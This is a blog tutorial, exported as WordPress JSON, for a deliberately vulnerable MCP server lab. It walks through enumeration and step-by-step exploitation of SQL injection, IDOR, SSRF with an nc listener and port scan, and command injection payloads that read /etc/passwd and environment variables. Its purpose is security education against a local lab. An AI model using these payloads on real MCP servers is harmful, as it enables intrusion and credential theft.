{"id":3991,"date":"2026-08-26T22:42:55","date_gmt":"2026-08-26T20:42:55","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3991"},"modified":"2026-08-26T22:43:01","modified_gmt":"2026-08-26T20:43:01","slug":"offensive-ai-vulnerable-mcp-server-lab","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","title":{"rendered":"Offensive AI &#8211; Vulnerable MCP Server Lab"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability classes.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"753\" height=\"271\" data-attachment-id=\"3992\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/image-144\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&amp;ssl=1\" data-orig-size=\"753,271\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?resize=753%2C271&#038;ssl=1\" alt=\"\" class=\"wp-image-3992\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?w=753&amp;ssl=1 753w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?resize=300%2C108&amp;ssl=1 300w\" sizes=\"(max-width: 753px) 100vw, 753px\" \/><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>WARNING:<\/strong>&nbsp;This lab is intentionally vulnerable. Run it in an isolated environment only. Do not expose it to the internet.<\/p>\n<\/blockquote>\n\n\n\n<!--more-->\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Table of Contents<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>What is MCP?<\/li>\n\n\n\n<li>Lab Architecture<\/li>\n\n\n\n<li>Quick Start<\/li>\n\n\n\n<li>Part 1 \u2014 Understanding the MCP Protocol<\/li>\n\n\n\n<li>Part 2 \u2014 Enumerating an MCP Server<\/li>\n\n\n\n<li>Part 3 \u2014 Exploiting Vulnerable MCP Servers<\/li>\n\n\n\n<li>Teardown<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">What is MCP?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Model Context Protocol (MCP) is a JSON-RPC 2.0-based protocol that standardizes how LLM applications communicate with external tools and data sources. An MCP server exposes three core capability types to clients:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Capability<\/th><th class=\"has-text-align-left\" data-align=\"left\">Purpose<\/th><th class=\"has-text-align-left\" data-align=\"left\">Client Methods<\/th><\/tr><\/thead><tbody><tr><td><strong>Resources<\/strong><\/td><td>Static or dynamic data endpoints (read-only)<\/td><td><code>list_resources()<\/code>,&nbsp;<code>read_resource(uri)<\/code><\/td><\/tr><tr><td><strong>Resource Templates<\/strong><\/td><td>Parameterized resources with URI variables<\/td><td><code>list_resource_templates()<\/code>,&nbsp;<code>read_resource(uri)<\/code><\/td><\/tr><tr><td><strong>Tools<\/strong><\/td><td>Callable functions that perform actions<\/td><td><code>list_tools()<\/code>,&nbsp;<code>call_tool(name, args)<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">MCP communication flows through two phases:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Initialization Phase<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Client \u2192 Server<\/strong>\u00a0\u2014\u00a0<code>initialize<\/code>\u00a0request containing the protocol version, client capabilities, and client info.<\/li>\n\n\n\n<li><strong>Server \u2192 Client<\/strong>\u00a0\u2014\u00a0<code>initialize<\/code>\u00a0response confirming the version and advertising server capabilities (which of prompts\/resources\/tools it supports).<\/li>\n\n\n\n<li><strong>Client \u2192 Server<\/strong>\u00a0\u2014\u00a0<code>notifications\/initialized<\/code>\u00a0notification signaling readiness.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Operation Phase<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Standard JSON-RPC 2.0 request\/response pairs:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Action<\/th><th class=\"has-text-align-left\" data-align=\"left\">JSON-RPC Method<\/th><\/tr><\/thead><tbody><tr><td>List resources<\/td><td><code>resources\/list<\/code><\/td><\/tr><tr><td>Read a resource<\/td><td><code>resources\/read<\/code><\/td><\/tr><tr><td>List resource templates<\/td><td><code>resources\/templates\/list<\/code><\/td><\/tr><tr><td>List tools<\/td><td><code>tools\/list<\/code><\/td><\/tr><tr><td>Call a tool<\/td><td><code>tools\/call<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">All messages are transported over&nbsp;<strong>Streamable HTTP<\/strong>&nbsp;\u2014 JSON-RPC payloads inside standard HTTP POST requests to the&nbsp;<code>\/mcp\/<\/code>&nbsp;endpoint.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Why MCP Servers Are Interesting Targets<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">MCP servers operate&nbsp;<strong>independently from any LLM integration<\/strong>. While they are designed to be accessed by LLM-powered clients, anyone with network access to the server can interact directly with its capabilities using a simple Python script \u2014 no jailbreaking, no prompt manipulation, just raw JSON-RPC over HTTP.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Lab Architecture<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502   Attacker   \u2502  HTTP   \u2502   mcp-server     \u2502  MySQL  \u2502    db      \u2502\n\u2502  (client)    \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502   :8000\/mcp\/     \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502  MariaDB   \u2502\n\u2502              \u2502         \u2502                  \u2502         \u2502  :3306     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Container<\/th><th class=\"has-text-align-left\" data-align=\"left\">Image<\/th><th class=\"has-text-align-left\" data-align=\"left\">Role<\/th><\/tr><\/thead><tbody><tr><td><code>mcp-server<\/code><\/td><td>Python 3.12 + fastmcp<\/td><td>Vulnerable MCP server<\/td><\/tr><tr><td><code>db<\/code><\/td><td>MariaDB 11<\/td><td>Backend database with seed data + flag<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Server Capabilities<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Type<\/th><th class=\"has-text-align-left\" data-align=\"left\">URI \/ Name<\/th><th class=\"has-text-align-left\" data-align=\"left\">Vulnerability<\/th><\/tr><\/thead><tbody><tr><td>Resource<\/td><td><code>resource:\/\/logs<\/code><\/td><td>Information Disclosure<\/td><\/tr><tr><td>Resource<\/td><td><code>resource:\/\/stats<\/code><\/td><td>\u2014<\/td><\/tr><tr><td>Resource Template<\/td><td><code>credential:\/\/{service}<\/code><\/td><td>SQL Injection (MariaDB)<\/td><\/tr><tr><td>Resource Template<\/td><td><code>note:\/\/{note_id}<\/code><\/td><td>IDOR<\/td><\/tr><tr><td>Tool<\/td><td><code>store_credential(service, username, password)<\/code><\/td><td>\u2014<\/td><\/tr><tr><td>Tool<\/td><td><code>server_health(check_type)<\/code><\/td><td>Command Injection<\/td><\/tr><tr><td>Tool<\/td><td><code>fetch_update(url)<\/code><\/td><td>SSRF<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Quick Start<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Prerequisites<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Docker &amp; Docker Compose<\/li>\n\n\n\n<li>Python 3.10+<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">1. Start the Lab<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>git clone https:\/\/github.com\/hardsoftsecurity\/vulnerable-mcp-lab.git\ncd vulnerable-mcp-lab\ndocker compose up --build -d<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Verify the server is running:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s http:\/\/localhost:8000\/mcp\/ -X POST \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":0,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"curl\",\"version\":\"1.0\"}}}' | python3 -m json.tool<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Set Up the Client<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -m venv venv\nsource venv\/bin\/activate\npip install -r client\/requirements.txt<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. Run the Full Exploit Chain<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 client\/exploit.py http:\/\/localhost:8000\/mcp\/<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Part 1 \u2014 Understanding the MCP Protocol<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">JSON-RPC 2.0 Message Format<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Every MCP message follows the JSON-RPC 2.0 specification:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"resources\/list\"\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Response:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"result\": {\n    \"resources\": &#91;\n      {\n        \"uri\": \"resource:\/\/logs\",\n        \"name\": \"get_logs\",\n        \"description\": \"Provides the VaultMCP server logs.\"\n      }\n    ]\n  }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Error:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"error\": {\n    \"code\": 0,\n    \"message\": \"Database error: 1064 (42000): You have an error in your SQL syntax...\"\n  }\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">The fastmcp Library<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The&nbsp;<code>fastmcp<\/code>&nbsp;Python package abstracts the JSON-RPC protocol into simple decorators (server-side) and async methods (client-side):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Server-side decorators:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>@mcp.resource(\"resource:\/\/logs\")    <em># static resource<\/em>\n@mcp.resource(\"cred:\/\/{service}\")   <em># resource template (parameterized)<\/em>\n@mcp.tool()                         <em># callable tool<\/em><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The library auto-derives capability names from the function name, parameter schemas from the function signature, and descriptions from the docstring.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Client-side methods:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>client = Client(\"http:\/\/target:8000\/mcp\/\")\nasync with client:\n    await client.list_resources()               <em># resources\/list<\/em>\n    await client.read_resource(\"resource:\/\/x\")  <em># resources\/read<\/em>\n    await client.list_tools()                    <em># tools\/list<\/em>\n    await client.call_tool(\"name\", {\"k\": \"v\"})  <em># tools\/call<\/em><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Analyzing MCP Traffic<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">You can inspect the raw JSON-RPC messages with Wireshark (filter:&nbsp;<code>http<\/code>) or&nbsp;<code>mitmproxy<\/code>&nbsp;since all communication is plain HTTP POST to&nbsp;<code>\/mcp\/<\/code>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Part 2 \u2014 Enumerating an MCP Server<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Enumeration is always the first step. This maps the entire attack surface before testing anything.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Recon Script<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>import asyncio\nfrom fastmcp import Client\n\nclient = Client(\"http:\/\/localhost:8000\/mcp\/\")\n\nasync def main():\n    async with client:\n        print(\"&#91;*] Resources:\")\n        for r in await client.list_resources():\n            print(f\"    URI:  {r.uri}\")\n            print(f\"    Desc: {r.description}\\n\")\n\n        print(\"&#91;*] Resource Templates:\")\n        for rt in await client.list_resource_templates():\n            print(f\"    URI:  {rt.uriTemplate}\")\n            print(f\"    Desc: {rt.description}\\n\")\n\n        print(\"&#91;*] Tools:\")\n        for t in await client.list_tools():\n            params = list(t.inputSchema.get(\"properties\", {}).keys())\n            print(f\"    {t.name}({', '.join(params)})\")\n            print(f\"    Desc: {t.description}\\n\")\n\nasyncio.run(main())<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">What to Look For<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Signal<\/th><th class=\"has-text-align-left\" data-align=\"left\">Implication<\/th><\/tr><\/thead><tbody><tr><td>Resources named&nbsp;<code>logs<\/code>,&nbsp;<code>debug<\/code>,&nbsp;<code>config<\/code><\/td><td>Information disclosure<\/td><\/tr><tr><td>Resource templates with user-controlled URI parameters<\/td><td>Injection candidates (SQLi, path traversal)<\/td><\/tr><tr><td>Templates described as &#8220;fetching from API\/database&#8221;<\/td><td>Backend interaction \u2014 test for SQLi<\/td><\/tr><tr><td>Tools accepting&nbsp;<code>command<\/code>,&nbsp;<code>cmd<\/code>,&nbsp;<code>query<\/code>&nbsp;parameters<\/td><td>Command injection candidates<\/td><\/tr><tr><td>Tools accepting&nbsp;<code>url<\/code>,&nbsp;<code>endpoint<\/code>,&nbsp;<code>host<\/code>&nbsp;parameters<\/td><td>SSRF candidates<\/td><\/tr><tr><td>Sequential numeric IDs in templates (<code>{id}<\/code>,&nbsp;<code>{doc_id}<\/code>)<\/td><td>IDOR candidates<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Part 3 \u2014 Exploiting Vulnerable MCP Servers<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">3.1 Information Disclosure<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Target:<\/strong>&nbsp;<code>resource:\/\/logs<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>result = await client.read_resource(\"resource:\/\/logs\")\nprint(result&#91;0].text)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why it matters:<\/strong>&nbsp;Server logs often leak internal URLs, database queries, valid data values, error details, and sometimes credentials. In VaultMCP, the logs reveal the database host, the internal API URL, and full SQL queries \u2014 including those with injection payloads, which confirm the DBMS type.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What to look for:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Internal hostnames, IPs, and port numbers<\/li>\n\n\n\n<li>API keys or tokens in logged HTTP requests<\/li>\n\n\n\n<li>Query strings that reveal database structure<\/li>\n\n\n\n<li>Error stack traces with file paths<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3.2 IDOR (Insecure Direct Object Reference)<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Target:<\/strong>&nbsp;<code>note:\/\/{note_id}<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for note_id in range(1, 10):\n    result = await client.read_resource(f\"note:\/\/{note_id}\")\n    print(result&#91;0].text)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why it matters:<\/strong>&nbsp;The resource accepts a numeric ID with no authorization check. Any client can iterate IDs to access notes belonging to other users. In VaultMCP, this exposes&nbsp;<code>admin<\/code>&#8216;s server credentials and&nbsp;<code>bob<\/code>&#8216;s API keys.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3.3 SQL Injection<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Target:<\/strong>&nbsp;<code>credential:\/\/{service}<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The&nbsp;<code>service<\/code>&nbsp;parameter is concatenated directly into a SQL query without sanitization.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>First step \u2014 Confirm the vulnerability:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em># Single quote triggers a SQL syntax error<\/em>\nawait client.read_resource(\"credential:\/\/test'%23\")\n<em># Error confirms MariaDB: \"1064 (42000): You have an error in your SQL syntax...\"<\/em><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The&nbsp;<code>%23<\/code>&nbsp;is URL-encoded&nbsp;<code>#<\/code>, the MariaDB line comment character. We use&nbsp;<code>#<\/code>&nbsp;instead of&nbsp;<code>--<\/code>&nbsp;because MariaDB requires a trailing space after&nbsp;<code>--<\/code>&nbsp;for it to act as a comment, and URL-encoded spaces can behave inconsistently in URI parsing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Second step \u2014 Determine column count:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for i in range(1, 10):\n    try:\n        await client.read_resource(f\"credential:\/\/x'%20ORDER%20BY%20{i}%23\")\n    except:\n        print(f\"Column count: {i - 1}\")\n        break<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Third step \u2014 Enumerate tables:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>result = await client.read_resource(\n    \"credential:\/\/x'%20UNION%20SELECT%20table_name,NULL%20\"\n    \"FROM%20information_schema.tables%20WHERE%20table_schema=database()%20\"\n    \"LIMIT%201%20OFFSET%200%23\"\n)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fourth step \u2014 Enumerate columns:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Use hex-encoded table names to avoid quote conflicts inside the URI:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em># 'flag' = 0x666c6167<\/em>\nresult = await client.read_resource(\n    \"credential:\/\/x'%20UNION%20SELECT%20column_name,NULL%20\"\n    \"FROM%20information_schema.columns%20WHERE%20table_name=0x666c6167%20\"\n    \"LIMIT%201%20OFFSET%200%23\"\n)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fifth step\u2014 Dump the flag:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>result = await client.read_resource(\n    \"credential:\/\/x'%20UNION%20SELECT%20flag,NULL%20FROM%20flag%20LIMIT%201%23\"\n)\nprint(result&#91;0].text)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>URI Encoding Reference:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Character<\/th><th class=\"has-text-align-left\" data-align=\"left\">Encoded<\/th><th class=\"has-text-align-left\" data-align=\"left\">Purpose<\/th><\/tr><\/thead><tbody><tr><td>(space)<\/td><td><code>%20<\/code><\/td><td>Separate SQL keywords (raw spaces fail Pydantic URI validation)<\/td><\/tr><tr><td><code>#<\/code><\/td><td><code>%23<\/code><\/td><td>MariaDB line comment<\/td><\/tr><tr><td><code>'<\/code><\/td><td><code>'<\/code><\/td><td>SQL string delimiter (not encoded)<\/td><\/tr><tr><td>table names<\/td><td><code>0x&lt;hex&gt;<\/code><\/td><td>Avoid nested quotes in WHERE clauses<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3.4 Command Injection<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Target:<\/strong>&nbsp;<code>server_health(check_type)<\/code>&nbsp;tool<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The tool claims to whitelist commands to&nbsp;<code>disk<\/code>,&nbsp;<code>memory<\/code>, and&nbsp;<code>uptime<\/code>. However, the validation only checks if the whitelisted keyword is&nbsp;<strong>contained<\/strong>&nbsp;in the input string \u2014 and the full input is passed to&nbsp;<code>os.popen()<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em># Legitimate call<\/em>\nawait client.call_tool(\"server_health\", {\"check_type\": \"uptime\"})\n\n<em># Injection: 'uptime' is in the string, so validation passes<\/em>\n<em># ';id' is appended and executed by the shell<\/em>\nawait client.call_tool(\"server_health\", {\"check_type\": \"uptime;id\"})\n<em># Returns: uid=0(root) gid=0(root) groups=0(root)<\/em>\n\n<em># Read \/etc\/passwd<\/em>\nawait client.call_tool(\"server_health\", {\"check_type\": \"uptime;cat \/etc\/passwd\"})\n\n<em># Dump environment variables (may contain DB credentials)<\/em>\nawait client.call_tool(\"server_health\", {\"check_type\": \"uptime;env\"})\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why the bypass works:<\/strong>&nbsp;The server checks&nbsp;<code>if name in check_type<\/code>&nbsp;instead of&nbsp;<code>if check_type == name<\/code>. The string&nbsp;<code>\"uptime;id\"<\/code>&nbsp;contains&nbsp;<code>\"uptime\"<\/code>, so validation passes. The entire string is then executed in a shell via&nbsp;<code>os.popen()<\/code>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3.5 SSRF (Server-Side Request Forgery)<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Target:<\/strong>&nbsp;<code>fetch_update(url)<\/code>&nbsp;tool<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The tool fetches any URL from the server&#8217;s network context without validation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Confirm with an external listener:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em># On your machine<\/em>\nnc -lnvp 9001<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>await client.call_tool(\"fetch_update\", {\"url\": \"http:\/\/&lt;YOUR_IP>:9001\/ssrf\"})<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Internal port scanning:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for port in &#91;22, 80, 3306, 5432, 6379, 8080]:\n    try:\n        result = await client.call_tool(\"fetch_update\", {\n            \"url\": f\"http:\/\/127.0.0.1:{port}\"\n        })\n        print(f\"&#91;+] Port {port} \u2014 OPEN\")\n    except Exception as e:\n        if \"Connection refused\" in str(e):\n            print(f\"&#91;-] Port {port} \u2014 CLOSED\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Access internal services:<\/strong>&nbsp;The MCP server runs in Docker alongside a MariaDB container named&nbsp;<code>db<\/code>. The SSRF allows probing this internal service:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>await client.call_tool(\"fetch_update\", {\"url\": \"http:\/\/db:3306\"})<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Teardown<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>docker compose down -v<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The&nbsp;<code>-v<\/code>&nbsp;flag removes the database volume so no data persists.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">References<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/modelcontextprotocol.io\/specification\">MCP Specification<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/jlowin\/fastmcp\">fastmcp Documentation<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.jsonrpc.org\/specification\">JSON-RPC 2.0 Specification<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/owasp.org\/www-community\/Injection_Flaws\">OWASP Injection<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/academy.hackthebox.com\/module\/details\/33\">HackTheBox \u2014 SQL Injection Fundamentals<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/academy.hackthebox.com\/module\/details\/109\">HackTheBox \u2014 Command Injections<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3992,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,563,7],"tags":[576,577,41],"class_list":["post-3991","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-pentest","category-seguridad-informatica","tag-mcp-server","tag-offensive-ai","tag-pentesting"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Offensive AI - Vulnerable MCP Server Lab - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"A self-hosted, intentionally vulnerable MCP servers that can be enumerated, interacted with, and exploited using common vulnerability classes\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-26T20:42:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-26T20:43:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png\" 